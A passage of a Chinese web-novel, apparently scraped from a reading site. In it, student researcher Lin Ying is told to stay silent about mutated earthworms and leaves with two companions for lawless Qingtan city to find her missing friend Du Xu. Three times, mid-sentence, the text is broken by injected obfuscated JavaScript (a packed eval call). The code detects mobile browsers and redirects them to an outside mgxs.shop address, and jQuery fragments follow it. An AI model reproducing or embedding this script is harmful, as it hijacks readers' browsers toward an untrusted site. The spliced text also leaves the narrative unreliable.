那边沉默了片刻,而后女生尖利的声音从听筒里传了过来,“光找到手机有什么用,找人啊!我和导员已经联系了杜煦的爸妈,等他们来了我就告诉他们都是你害的杜煦,要是杜煦出事了,你也一起陪葬吧!” 说罢,不待林萤回话,那边就挂断了。 林萤将手机拿远了一些,食指按上关机键,几不可闻地叹了一声,“我会找到她的……” 随后,她便收拾好自己的东西离开了宾馆。 走到路口的时候,警车正好到了小宾馆楼下,林萤远远地听到了警察的盘问声和金属的扣合声,这帮从青檀游走过来的犯罪者终于戴上了迟来的枷锁。 33. 青檀、青檀 林萤回到了学校,她特意绕路去看了一下那幢下陷的宿舍楼,就见它周围一圈已经围上了近一人高的护栏,旁边还有个安保正在对几个学生解释着什么。她在一旁听了一下,原来这几个女生的宿舍就在塌陷边上,她们想进去取一下慌乱中来不及拿的东西,安保不同意,于是两边陷入僵持。 林萤绕宿舍楼走了一圈,没有过多停留,于十分钟后来到了实验楼,她将还未干的衣服晾在实验楼外的花坛上,而后又上楼准备找个万能充给杜煦的手机充点电。 她记得师弟之前似乎在更衣间放了个万能充,不知道还在不在,林萤想了想,决定先去看看,然而还未走到,便听到从实验室传来张老师的声音,他正在和谁打电话。林萤停下脚步,背靠着墙,打算等老师打完电话后再进去。就听张老师一直在低声下气地道歉,那边似乎很生气,张老师的姿态也越来越低。 ——奇怪,对面的人是师母吗?张老师是生科院的主干,能让他连连道歉的人,除了师母,林萤想不到第二个。不过老师和师母一直非常恩爱,又是因为什么吵架呢? 林萤还想再听,那边却已经挂了电话,她悄悄走到实验室门口,透过观察窗看去,就见张老师正坐在凳子上,他的面前是一张桌子,桌子上放了厚厚的一叠材料,材料的上方,端端正正放着他的手机,旁边是一本实验记录。张老师弯着腰弓着背垂着头,手肘支撑在大腿上,一双手将脸捂得严严实实,足足一分钟,他都维持着这个姿势。 正当林萤在犹豫要不要进去时,就见张老师将手从面上拿开,而后他双手合掌快速搓了搓,又将手心放在面部揉了揉,接着突然转过头,与林萤的目光隔着观察窗对在了一起。 “……” 林萤的脚趾几乎要将鞋底抠穿,而后她迅速扬起一个笑脸,手指叩响大门,装成刚到的样子。 “张老师,我能进来吗?” 见对方点点头,林萤推开门走了进去。 “林萤,怎么来这么早?” “我想给手机冲个电,但是没有这个型号的充电器……老师您说,现在科技都这么发达了,手机这么常用的工具还要充电,是不是很落后?” 张老师笑了笑,指着林萤手中的手机,“是这个手机吗?和我的牌子一样,我的充电器正好在这里,你试试能不能用。”说着,张老师从抽屉里掏出一根充电线,递给林萤。 “呀,就是这个,太好了!谢谢老师!”林萤找到一旁的插座,迅速给手机充上电。 “林萤。”张老师轻轻喊了一声。 “嗯?”林萤随意地拧过身去,就见张老师的眼睛直勾勾盯着自己。 “你是怎么知道宿舍楼下有进化动物的,而且还确切地知道那就是蚯蚓?” “啊?” “我们检查了一下,并没有发现什么蚯蚓,地下全是水,不断冒出来的浑浊的水。” 林萤以为老师没有发现变异蚯蚓的事情,正想完整地解释一番,就听老师继续说道:“下面没有什么进化蚯蚓,也没有其他进化的动物,什么都没有。只是因为地下水位下降,楼体年久失修,加上前段时间地震的影响,所以才会发生塌陷。” 说到这里,张老师抬起头,他的眼睛仍是黑漆漆不见底,却多了一丝林萤读不懂的波澜。 “林萤,你什么都没有看到,也什么都不知道,你只是一个被吓到说胡话的胆小学生,奋力从废墟中逃生……” “老师?” “林萤,你听我说完。我知道杜煦的失踪对你打击非常大,发生了这样的事情,学校难辞其咎。但是现在是非常时刻,不仅是对你们,对学校也是,刚才上面已经发了通知,要求我们停课,并督促学生顺利返乡。林萤,你的家庭情况我了解,如果你没有去处,实验室的钥匙我已经给了你一份,你可以在这里住着,但是不要再擅自行动了。” 说罢,张老师站了起来,走到林萤边上,他今天没有穿内增高,身长几乎与林萤一样,使得林萤能够清楚地看到他眼底的不安。 “林萤,我刚才的话,你听懂了吗?” 林萤将拿在手上的电话放在桌子上,她面向张老师,郑重其事地说:“我知道了,老师。” “另外,你这里写的——”张老师看向林萤的实验记录,“关于进化可以通过……” “进化核,我随便给它起的名字。”林萤提醒道。 “关于进化可以通过进化核来转移,你确定吗?” 林萤道:“百分之五十,具体要看被移植一方的接受程度。从我观察的情况来看,生物应当是能接受比自己弱一些的物种的进化核,比如说大鼠可以接受斑马鱼的进化核,反过来,斑马鱼大概不能接受大鼠的,不过后者我还没有具体试验过。” 张老师点了点头,“这个比例已经很高了,林萤,继续你的实验吧,现阶段学校是最安全的地方。” 张老师离开后,林萤又在实验室多待了一阵,她先是去刚才老师坐过的地方,翻看了一下桌上放的一厚沓资料,见没有什么特别的,又去翻了翻抽屉,里面都是一些坏掉的笔和温度计,除了这些,便没有其他东西。 既然这些东西没有问题,那么,张老师的异常行为便只能是因为那个电话。老师的意思很明确,就是让她把发现进化蚯蚓的事情烂在肚子里,消防员那边甚至也可能以“林萤刚才吓坏了,说的那些都是她幻想出来的”来搪塞过去。 可是,为什么呢?老师为什么要这么做?难道是怕进化蚯蚓的事情引起大家的恐慌? 一个问题还没解决,另一个问题接踵而至,林萤感觉自己面前有一个巨大的迷宫,而她的一只脚已经踏进了迷宫里。 她将手机充好电,又去动物实验室转了一圈,看到优哉游哉游荡的斑马鱼,林萤想到了转移进化核的问题。于是她立即带上手套,先是将一条斑马鱼的进化核移到了大鼠体内,待大鼠成功进化后,又取出大鼠的进化核,移植到了另外一条斑马鱼的身体里,果不其然,几个呼吸后,这只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706506|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 斑马鱼很快便在水里炸开血花。 林萤在本子上将自己的实验记录下来,同时,又准备培育一个新的进化核,将它放置到兔子体内。 就在林萤的试验将要开始时,她接到了林祐均的电话。对方的声音很疲惫也很沙哑,像是一天没有进水。 “林萤,我们排查了近六个小时,大致可以确定那辆载着你朋友的车是往青檀市去的。” “青檀市!”林萤惊呼一声。 “是,青檀,那个一盘鸡蛋两百块的青檀,不,现在好像已经涨到三百多了。” “为什么要去那边?” “好问题!我,也不知道答案。”林祐均说完,林萤噎了一下,她一时无语,就听对面继续说道:“那辆车似乎在有意躲避监控,并且途中存在换车的可能。” “不能联系青檀那边一起救援吗?” “林萤,我们现在仅仅只是处于缺人的状态,但青檀已经在混乱的边缘摇摇欲坠了,你可能知道青檀乱,但是你并不知道它为什么会乱起来。” 林萤顺着他的话问道:“为什么?” “因为他们的管理从一开始就混乱了,首当其冲的便是枪械……”林祐均大概说了一下那边的情况,林萤的心也越来越沉,最后,林祐均说:“青檀本就自顾不暇,又哪里能抽出警力来管我们的事情?” 林祐均没有说出口的是,这一番探查,他已是动用了私人的关系网,想要继续跟进,亦是一需要大笔人情砸下去。 按照现在的局势,所有事但凡出了蹊暇市,便不再被本市管束,所以,最理想的情况是载着杜煦的那辆车仍在蹊暇市的范围内,但很明显,那辆车直奔青檀而去,并且有意识地绕过了蹊暇的哨点,从小路穿了过去,可见司机对两市之间的路很熟悉。在林祐均他们排查到那辆车之时,那车已经到了两市的边缘,根本阻拦不及。 更不容乐观的是,一旦进了青檀,那边有了接应,很可能会换成其他车辆,到时候再追踪就更难了。 林萤思量片刻,而后飞速询问:“林指导,你们的车可以借用吗?” “这么说,你拿到驾照啦?” “林指导,我都没钱吃饭,哪里来的钱学驾照?”林萤说得毫无底气,“我想求你帮帮我,如果你们要去找杜煦,就捎上我吧,我能帮忙的!” 那边,林祐均似乎苦笑了一声,他说:“抱歉啊林萤,这次不是我带队,所以捎不上你,你不要担心,我们的人已经出发了,他们一定会尽力把你的伙伴带回来。” “林指导——” “对了林萤,我们的信息部也在寻找那个叫做‘一位恩’的组织了,如果有了消息,我会在第一时间联系你,好了,我还有事,就不多说了,再见!” 还没等林萤反应过来,听筒里便传来“嘟嘟嘟”的忙音,对方已经挂断了。 林萤一不做二不休,又打了过去,还是忙音,就像是林祐均在和她结束通话后,又立即开始和另外一个人打电话了。 34. 出发去青檀 林萤长舒一口气,而后她静静地站了一会儿,片刻后,她拿起手机,开始给学生群和认识的同学发信息询问有没有人要去青檀,她记得有几个人的家似乎就在那里。 然而一番询问,并没有人要去,还有人私信林萤劝她也别去,那个地方太乱了。 这时,徐佳妮的信息跳了出来:林萤,你在哪? 林萤回复了她,不多时,就又接到了她的消息:我在楼下,把杜煦的手机带下来给我。 林萤将充好电的手机提在袋子里,下楼,就见实验室的大楼前正站着两个人,分别是哭到眼肿的徐佳妮和一脸倦容的辅导员。 “就是她,她就是林萤!”一看到林萤,徐佳妮便激动地嚷嚷了起来,并试图抓住导员的胳膊去指认林萤。 导员在旁边说道:“徐佳妮,我认识林萤,我们只是来拿手机的,不是来指责她的。”说着,他接过林萤手中的手机,正欲离开,又转过身询问:“林萤,我看到群里你刚发的消息了,你去青檀做什么?” 林萤抿了抿嘴,“杜煦在青檀。” 让林萤意外的是导员似乎一点也不惊讶,他说:“这事校方已经知道了,而且我们也已经委派了人去寻找,这不是你该操心的事情,你管好自己就行了。” 林萤知道这是林祐均他们已经与学校取得了联系,她心下稍觉安慰,毕竟多一个人多一份力。 “凭什么她可以好好待着,她必须要为杜煦的失踪负责!”徐佳妮厉声质问。 林萤深吸一口气,缓缓看向徐佳妮,“徐佳妮,你为什么对我有这么大的敌意?” 徐佳妮似乎没想到林萤会问这个问题,她眼珠一转正要回答,就听林萤继续说道:“我承认杜煦失踪有我的责任,但这并非我能左右,也并不是我愿意看到的事情,你非要将这个罪名安在我头上,是不是因为你其实也在担心别人将这个罪名安在你头上?毕竟,你为什么不劝住她,为什么不拉着她当机立断下楼不要等我……按照你的逻辑,她失踪是不是也有你的原因?” 徐佳妮的脸涨得像眼圈一样红,“我,怎么能怪我?我怎么知道,我怎么能拦住她,她就是要找你……” “对啊!你说的我也想说。”林萤走到徐佳妮的面前,将手搭在她的肩上,“当务之急不是在这里定责,更不是互相推卸责任,而是早点找到杜煦,你认同吗?” 徐佳妮垂着头没有说话,见状,林萤看了看一旁的辅导员,问道:“老师,咱们的人已经出发了吗?” “嗯,但我刚才也说了,这件事跟你没关系。”导员说着,又看了看徐佳妮,“好了,手机已经拿到了,我会负责交给杜煦的父母,现在你们该回家的回家,该做实验的继续你的实验,我走了!”说罢,导员匆匆离开。 徐佳妮白了林萤一眼,跺了跺脚,转身就走。 这脾气!林萤也憋了一肚子火,她走到花坛边上,将晾晒的衣服收了起来,今天没有太阳,衣服仍然有些潮湿。 接下来该怎么办,是上去继续实验,还是去青檀? 正在她一筹莫展之际,一个电话打了过来,是令林萤意想不到的人。 “喂,原医生?” “林萤,听说你想去青檀,怎么了,想过去尝尝高价鸡蛋?” “原医生,你要去吗?”林萤像溺水的人抓住最后一根稻草。 “让我想想,学校放假了,最近确实无事可做……”原初的声音里透着一丝愉悦,“而且,我想观赏一下高价鸡蛋和普通蛋有什么区别。” “一起?” “一起!” 刚挂了原初的电话,这边,马浩哲又打了过来。 “林萤,你去青檀的话,咱俩结个伴吧?” “你要去做什么?” “我想去趟我姑姑家,这不又要停课,咱也没地方去。对了,我刚刚看到蹊暇市到青檀的高铁已经停运了,但是咱们可以坐中巴车,听说中巴车还开着,你记得拿好身份证啊!” 林萤想到马浩哲的家庭,他似乎和自己一样穷,两个人总是一放假就出去打工,学校停课了,自己还能苟在实验室,马浩哲估计更是无处可去。于是她笑了笑,愉快地说道:“小马哥,不用,咱们一起搭个顺风车吧!” 林萤将多了一个人的事情告诉了原初,对方起先似乎有点介意,却在得知第三人只是搭个便车之后欣然同意。 约定好时间,林萤来到了南门门口,路边停着一辆拉风的红色越野车,原初带着墨镜靠在车灯处,朝林萤挥了挥手。 “林萤,这边!” 他穿了一件黑色的冲锋衣,同色工装裤,裤腿塞在短靴里,完全男模来着,林萤忍不住多看了几眼。 这时,后排的车窗缓缓下落,露出了马浩哲圆圆的脸蛋,他问:“林萤,你干嘛拿这么多吃的?” 马浩哲比约定的时间早到十分钟,却没想到林萤口中的“原医生”比自己到的还早,红色的车身又很醒目,他瞬间便知道这就是林萤说的那位帅气医生的车。 就见林萤一手拎着两个大塑料袋,袋子里满登登全是吃的东西,另外一只手拎着一箱矿泉水,她将东西放在车后面,然后在原初的协助下,将东西一件一件放进后备箱里。 “我这不是怕青檀物价太贵了嘛!”林萤一边说一边将东西往后备箱塞,“多少拿点,能省则省。” “有道理啊!”马浩哲说着,正想打开车门让林萤坐进来,却发现车门被锁住了,“医生,麻烦开一下门。” 原初笑了笑,“没事,你不用下来了,我们已经收拾好了。”说罢,他绕到车边,拉开副驾驶的门,冲林萤示意,“上来吧,我们马上出发!” 林萤走到车门边上,正一只脚踩在侧踏板作势要上车,突然间又停了下来,她收回脚重新站定,回过头,望向面带疑惑的原初。 她缓缓开口,慎重其事地说道:“原医生,其实我不是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712016|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 青檀玩的,大家都说那边很乱,我有非去不可的理由,但你不一样……你真的要跟我一起去吗?” 原初轻“嗯”一声,“这不巧了?我也有非去不可的理由,走吧林萤,犹豫不决可不是你的风格。” 林萤上了车,系好安全带,抬眼望向前方,北边的天空云雾蔼蔼,太阳透不过层层烟云,只能给云霞镀上金边,远远看去,像描了边的白牡丹。 “我们从这里出发,直接向北走,先上四环,然后上绕城高速,从高速直接到蹊暇和青檀的交界处,那里是个名叫大鱼县的地方,我们在那里吃晚饭,顺便歇一晚。全程大概需要四个小时,中间在服务区休息一次。你们觉得可以吗?”原初也系好安全带,他一边查看屏幕上的地图,一边问道。 “我没有意见,都听你们的。”马浩哲说道:“说起来,我小时候还去过大鱼县,那里有个大鱼湖,湖底特别深,听说直通着大海,所以经常能从湖里捞出超级大的鱼,我姑姑说,大鱼县的名字就是这么来的。” 林萤看了一眼时间,现在是下午三点半,到大鱼县最快也得七点多了。她点了点头,又问:“我们走的这条道是最近的吗?” “嗯,是最近的一条,路上查的很严格,不过不用怕,我把资料都准备好了。” 林萤注意到座位旁边的储物盒里确实装了一大叠包着硬纸壳的东西,出于礼貌,她只扫了一眼,便不再细看。 如果这条道是最近的,那么说不定能追上载着杜煦的那辆车,只是到现在为止,林萤还不清楚那辆车的车牌号是多少,途径路线又是哪条。 想到这里,她又给林祐均发了一条信息询问,对方仍是没有回答,看来他铁了心不想让林萤去青檀。 “怎么了?”原初突然转过头询问。 林萤忙放下手机,“啊,没什么,就是觉得咱们几个有冒失的嫌疑。” “怕什么,人生不过三万天,能活几天活几天!”马浩哲趴在驾驶座和副驾驶的中间,一只手扒着原初的椅背一只手扒着林萤的椅背,确保他俩只要一回头,就能看见自己,“我算是看明白了,咱们这代没有白活,啥都经历了,死也无憾了!” “那倒是!”林萤笑了笑,接着打了一个哈欠,从昨晚到现在她一直没有睡觉,现下车一开动,舒适的座椅、恰到好处的晃动,还有车内淡淡的香味,都让她紧绷的神经逐渐放松下来。 “估计你们昨晚都没睡好,正好趁着坐车好好补补觉吧!”原初按了个按钮,将林萤的椅背放下来,“睡吧。” “谢谢你,原医生。”林萤说完,闭上了眼睛。 “那我也睡了,后半夜我根本就没合眼,一直在楼下待着。”后方的马浩哲边说话边脱掉了鞋子,侧躺在了座椅上,不多时,便响起了规律的鼾声。 原初透过车内后视镜看了眼马浩哲,又将目光移到林萤睡得香甜的侧脸上,半晌,他自言自语道:“真是不设防的人类啊……” 35. 小林和小原 不多时,车辆便上了高速,出城的车很少,进城的车则是大排长龙,隔着中间的绿化带,原初看到那边的车辆一辆接着一辆,而自己这侧,前方没有车,后方也没有车,可谓是前无古人后无来者。 原初的指尖不自觉地敲打着方向盘,看来青檀的情况比自己想象中还要再糟糕一些。不过——他又侧过头看了林萤一眼——不过,没什么好怕的。 向前走就是了。 原初打开音乐,换了一首轻柔的曲子,将音量调到最小,而后轻踩油门,一路向北。 林萤是被一阵喇叭声吵醒的,此时已经到了一处高速的服务区,车停在车位上,马浩哲还在后面睡,驾驶座上的原初却不知去向。 林萤看了眼时间,自己足足睡了两个多小时,她又打开车窗向车外看去,就见中午还微微露了个头的太阳如今早不知去哪了。整个天空乌云密布,连带着气压都低了几分,细小的树枝早已被狂风吹得乱舞,一个不知从哪里掉落出来的奶茶杯随着风跑过来又跑过去,像个被小孩子追赶的皮球。 要下雨了? 林萤正看得出神,冷不防一声刺耳的鸣笛声响起,林萤被吓了一跳,这才发现响声出自隔壁车辆,自己刚才就是被这个声音吵醒的。林萤看了过去,就见对方是辆大货车,车后蒙着篷布,看上像是装了很多箱子。 此刻,货车司机正将胳膊肘搭在开着的车窗上,一双眼睛望着林萤,见林萤在看他,便伸出舌头舔了舔干裂的唇,接着对林萤吹了声口哨,“妹子,你也要去青檀?” 林萤问他,“你怎么知道?” 货车司机露出一个“果然如此”的表情,“这有啥难猜的?去青檀的高速这是最大的服务区,你看这边的车一半都是青檀的牌照。” 林萤随意扫了几眼其他车辆,发现确实如他所说。 货车司机又道:“最近大家都往蹊暇跑,觉得那里安全社会稳定,可俗话说得好,浑水摸鱼,青檀的水浑了,咱们才有机会施展手段,你说对吧?” 林萤冷笑,“大哥高看了,我能有什么手段?” “妹子可别小瞧了自己,女人嘛到哪里去都是稀缺资源,要不然……”说着,他一双眼居高临下打量了越野车一番,而后嗤笑一声,“要不然你咋能坐上这么好的车呢,总不能说刚刚那个出去打油的小伙是你爸爸。”说着,又按了一下喇叭。 看来原初是去买油了啊,林萤朝不远处看去,就见一个高挑的身影正提着一桶油向这边走来。于是,她咧开嘴朝货车司机笑了笑,“大哥,我看你倒像是去青檀干大事的,能不能给我透露一下,我不吃肉只喝汤。” 货车司机笑了一声,“哈哈,说笑了,我也就勉强混口饭吃吧!不过,妹子你都诚心地问了,我要是不说倒显得我小气,告诉你啊,我是去当骡子的。” “骡子?” 货车司机伸出大拇指朝后指了指,“现在是空的,回来后就满了。” 林萤将目光收了回来,这些老油条果然不上当,说了跟没说一样。货车司机见林萤不理他,又按了按喇叭,想要继续搭话,“妹子,妹子?你想听真话,就从那个车上下来,来我的车上我跟你好好说道说道。” 林萤轻嗤一声,“大哥,你好像很喜欢按喇叭?” “嗯?”司机的手又放在了方向盘中间,“声大,响亮,我爱听。” 林萤点点头,“嗯,那你以后就每隔一分钟按一下,毕竟你喜欢。”说罢,她转过头去关上车窗,不再搭理对方。 原初将买来的油放在车上,而后坐上了驾驶座。 “林萤,醒了?” “嗯,没有加油吗?” “油箱已经加满了,但是我听说越往青檀走油越难买,加油站大多都被一些势力把持着,可能会不方便,我们有备无患。”原初说着,看向林萤,“对了,那边有洗手间,你要去吗?” 林萤按了按肚皮,“去!” 待她回来后,后排的马浩哲也醒了,他正在对着隔壁的大车破口大骂,“按按按,一直按!你爹挡着你的路了还是你娘挡着你的路了,看不到前面是绿化带吗?” 大车司机也很无奈,可他就是控制不住自己的手,连续不断的喇叭声引起了众人的不满,不少人从车上下来,来到货车边上指指点点,又被噪音吵得很快离去。 “我们也走吧!”林萤说罢,车辆驶出服务区,继续向前行去。路上,她问:“原医生,你刚才说的加油站被势力把持是什么意思?” 还未待原初回答,马浩哲的声音便从后座传来,“还能是啥意思,就字面意思呗!不是给钱就能加油,而是要看人家愿不愿意给咱们卖。” “对,从买方市场变成了卖方市场。”原初接过他的话,“这还都是小马同学告诉我的,也是他说最好给车上备点油。” 林萤看向后排,“小马哥一向消息灵通,我想问一下,你有没有听说过一个组织叫做‘一位恩’?” 马浩哲倒吸一口凉气,看看林萤,又看看原初,嘴巴缩成一团,眼睛瞪得老大,一脸不可置信的样子,“林萤,你怎么能顶着这张单纯无害的脸口吐虎狼之词呢?” “什么?”林萤不解,而后在马浩哲欲言又止,止又欲言的表情中读懂了他的意思,林萤无奈地扶额叹道:“小马哥,你想什么呢?不是数字和字母组合的那种……是中文一个的‘一’,位置的‘位’,恩情的‘恩’……” 说到这里,林萤突然止住,对啊,那个黄立志只是口述了一下名称,真正的名字他也不知道,林萤就更不能确定是自己猜测的这几个字了。很明显,一个合格的组织,不会起这样拗口且无意义的名称。 难道真的是马浩哲想的“1vN”?林萤只是冒出一个念头便立即摇了摇头,应该不是,或者只是发音像。 不过,不论是那种情况,很明显,马浩哲并不耳熟这个组织,林萤只得换个话题,“那还什么需要注意的事项,一并给咱们说一下吧!” 马浩哲“嘿嘿”笑了两声,“还有啊,听说那边钱已经不值钱了,还有黄金也不是最贵的东西了,大家现在最喜欢那什么,叫、叫……灵珠!对,就是这个东西!灵珠,成了现在最值钱的东西,你有一颗就可以横着走,有两颗更是无敌,有三颗都可以拿来换房子了!” “灵珠?那是什么?”林萤转头询问。 “嗯……应该是什么宝贝吧!我只是听说也没见过,现在不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716690|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 有很多进化者组织嘛,他们之所以到处拉帮结派,就是因为要找这个灵珠,也害怕自己这边的灵珠被抢,毕竟人多力量大嘛!” “小马哥,你既然知道那边很危险,为什么不直接在蹊暇找个事做?” 马浩哲摇了摇头,“我懂你的意思,我主要是想去看看我姑姑,最好能把她也带到蹊暇来,我是我姑姑一手带大的,要把她一个人留在那边我也不放心。”说着,马浩哲又突然摆了摆手,向驾驶位的椅背一趴,对原初说:“医生,你放心,只要把我带到青檀就行,剩下的路我自己搭车。” 原初看向林萤,“我都可以,反正车上有位置,主要看林萤,她似乎有急切想做的事情。” “想做的事?”马浩哲抬头,林萤正在整理头发,一缕发丝垂落在侧脸,又被她用卡子牢牢别在耳后,马浩哲瞪圆了小眼,“林萤,你该不会是想去找杜煦吧?” 林萤转过头,目光幽幽。 “我去!你真的!你,你是怎么知道她在青檀的?”马浩哲问道。 “林指导帮我查的,但是他不让我去,也不告诉我具体信息,所以我只能自己偷偷过来先斩后奏,等到了青檀再问他具体情况。”说罢,林萤又撇了一眼正在专注开车的原初,对方斜睨了她一眼,一脸“我早就知道”的表情。 林萤心虚地拿起一瓶水,顺手将瓶盖拧开,然后递给原初,“原医生,上了我的贼船,你暂时不要想着下来了。” 原初笑着接过水抿了一口,又将水还给林萤,“你往脚下看,看清楚现在是谁上了谁的船,又是谁在开船,想清楚了再说。” “哈哈哈……”马浩哲笑了起来,“对了,林萤,我们要改改称呼,不能老是‘原医生原医生’地叫了,万一那帮坏人也想要医生,把他掳过去了怎么办,就没人给咱们开车了。嗯……医生看上去跟我们差不多大,就直接喊名字好了,他的新身份是我们的同学。林萤,你觉得怎么样?” 林萤摇摇头,“不怎么样,你不觉得学生这个身份更好欺负吗,再说了,坏人要是真的要掳走原医生,怎么可能还把车留给我们?” 马浩哲挠挠头,“说的也是。” 这时,原初偏过头,视线虽看着远处,压低的声音却飘到了另外二人的耳朵里,“不过,马同学有一点说的很对,出门在外,用真实姓名和身份不太好,出门在外身份是自己给的,以后,马同学就叫小马哥,林萤就叫小林,而我,我就叫小原。我们三个人是来青檀接亲戚的,随停随走。” “我同意!” 马浩哲第一个举手,林萤也表示了赞同,几人又对了一下口径,不知不觉间,夕阳已经渐渐落下。 越往青檀的方向走,天气越阴沉,等几人来到青檀与蹊暇的交界时,空中飘起了零星的雨点。 原初在标有“大鱼县”的收费站缓慢停了下来,往日可以通行的ETC通道都已关闭,只剩一个人工通道,这里排了不长的队伍,几乎都是载着货物的卡车,很少见到小车。 轮到原初缴费时,工作人员将他的证件翻来覆去看了两遍,又特意嘱咐了一句,“大鱼县和青檀相邻,近期不要去那边。” 众人应了一声,车随即驶出高速。 36. 再见赵毅千 雨将落之际,赵毅千两只胳膊夹着伞柄,正吃力地将一把大伞从店里往出拖。 伞骨的尖端勾上了垂落桌布的蕾丝花边,赵毅千一时没有注意到,一个用力,伞骨直接将桌布扯了下来,连带着桌面上摆放的陶瓷盐罐、玻璃醋瓶、筷子筒,以及一小卷卫生纸全被扯动,噼里啪啦滚落在地。 杂物掉落的声音还未消去,一声怒喝伴随着沉重的脚步声从内厨走了出来。 “不长眼的东西,学上不明白活干不明白,辛苦供你大学你说不念就不念,你知道多少人在笑话我吗……” 赵毅千的背被重重地砸了一拳,砸得他一个踉跄半蹲在了地上,对方又拧着他的耳朵将他的脸转过来,朝着他的面上便是狠狠的一巴掌。 “狗东西,今天不给我把这里收拾利索了别想吃饭!” 赵毅千一直没有说话,他蹲在原地,等那人离去后,才缓缓站了起来。他的手腕上还缠着纱布,白白的两段手臂,像极了大萝卜,他低着头看了看,自嘲地笑了笑。 这时,一辆红色的越野车缓缓停到了路边,从车上下来了几个人,径直朝赵毅千所在的饭馆走来。 “我给你们说,这家店很好吃,在大鱼县叫得上号的,好多人从外地慕名过来,就为吃上一口他家的鱼……”说话的正是马浩哲,他一边走一遍说,三两步就到了店外。 “老板,三位!诶、诶?店里怎么这么乱……” “不好意思,不好意思,我马上收拾!”老板从里面走了出来,将大伞拢到一边,给马浩哲三人让开了路,而后用脚尖踢了踢赵毅千,“快把伞拿出去!” 赵毅千俯身夹住伞柄,还未起身,便听到一个熟悉的女声。 “赵毅千?” 林萤从一开始便觉得这个服务员的身形看上去有点眼熟,再一看他的双臂和脸,顿时便认了出来,这不是在图书馆进化失败的赵毅千嘛!他怎么在这里? 赵毅千还未回答,老板便凑了过来。 “你们认识?” “同学。”林萤说完,看了眼赵毅千,就见他自顾自将地上的东西全拢起来,并不理会这边的对话。 “同学好哇,同学给你打个八折!就坐这边吧,墙上有菜单,你们看看想吃什么。”说罢,他推了赵毅千一把,“还愣着干什么,快把伞拿出去撑上!” 赵毅千被推着向前走了一步,谁知那伞骨还没从桌布里取出来,他一往前,勾得半截桌布都掉落在了地上。 “头上顶的是猪脑袋吗,没看这里缠在一起了吗!”老板一面骂骂咧咧将伞骨和桌布解开,一面又笑眯眯招呼林萤三人,“你们慢慢点,等会我再给你们送个小菜尝尝。” 老板的变脸速度太快,让林萤感觉非常割裂,原本被马浩哲勾起的食欲竟也渐渐淡了。 “认识?”原初低声问道。 “嗯。”林萤抬起头,看向墙上的菜单。墙上挂着几张招牌菜的图片,鱼肉嫩白,鱼汤鲜美,看上去的确不错。 “石烹鱼是招牌菜,来两条吧,再来三碗米饭!”马浩哲对老板说道。 “再来一道银鱼蒸蛋,一份鱼头汤配烤饼,一份鲜炒时蔬。”原初补充道。 “原医……小原,这里的菜分量很大,咱们点这么多能吃完吗?”马浩哲咽了咽口水,直勾勾看着墙上的图片。 原初看了一眼林萤,“放心吧能吃完,咱们有小林在。老板,就按我点的上吧!” 老板应了一声,去后厨吩咐了几句,又拿出一个新的桌布铺在桌面上,飞速将桌子上的东西重新收拾好。 “小林,看看,还有什么要加的?”原初问道。 林萤摇了摇头,“就这些吧,等不够了再点。” 此刻,她的注意力不在饭桌上,而是在屋外的赵毅千身上,就见他两只断臂夹着伞撑艰难地向上推着,想要将大伞撑开,结果因为断臂太滑,总是卡不住,任他如何用力也撑不开。 雨点密集地落了下来,赵毅千手臂上的绷带从尖端慢慢变红,又慢慢变湿。 恰逢老板过来给林萤几人添水,马浩哲问道:“老板,外面那个是你的伙计吗?他的胳膊怎么了?” 老板给马浩哲倒了一杯茶水,“你别管他,没出息的玩意,说两句就要死要活,怎么不干脆去死呢!” “那他那个胳膊也撑不开伞啊!”马浩哲嘟囔了一句,然后起身走出去帮赵毅千撑开了伞,又将伞柄竖起来插进水泥地墩。 马浩哲做完这些,才返回桌边,他刚坐定,第一道菜便上了桌。 “哎嗨,真香啊!” 正在这时,又有几个人走进了饭馆,看上去风尘仆仆,像是从很远的地方赶来。他们一坐下,便找老板要了几杯热乎乎的茶水,咕嘟咕嘟喝下去才开始聊天。 “大柱怎么不来,他不是最爱嗦鱼头吗?” “别提了,他不知道哪根筋抽了,我在前面那个服务区解了个手,回来后,他便一直在按喇叭,按了一路,拦也拦不住,这不,连饭也不吃了,就趴在车上按喇叭。” “啧啧,纯扰民,那不得被骂死?” “谁说不是,可拦不住啊!没啥办法,所以我才让你们把车停那边,咱们步行过来,我可是快要被那个喇叭声吵的偏头疼都要犯了。” “那咋办,你们啥时候拉货?” “保守估计得到明天了。” “那他要是这样按,你们这趟肯定得出问题。” “乌鸦嘴——呸呸!问题?能有啥问题!” “你可别大意,有道是常在河边走哪有不湿鞋,不怕一万就怕万一......" 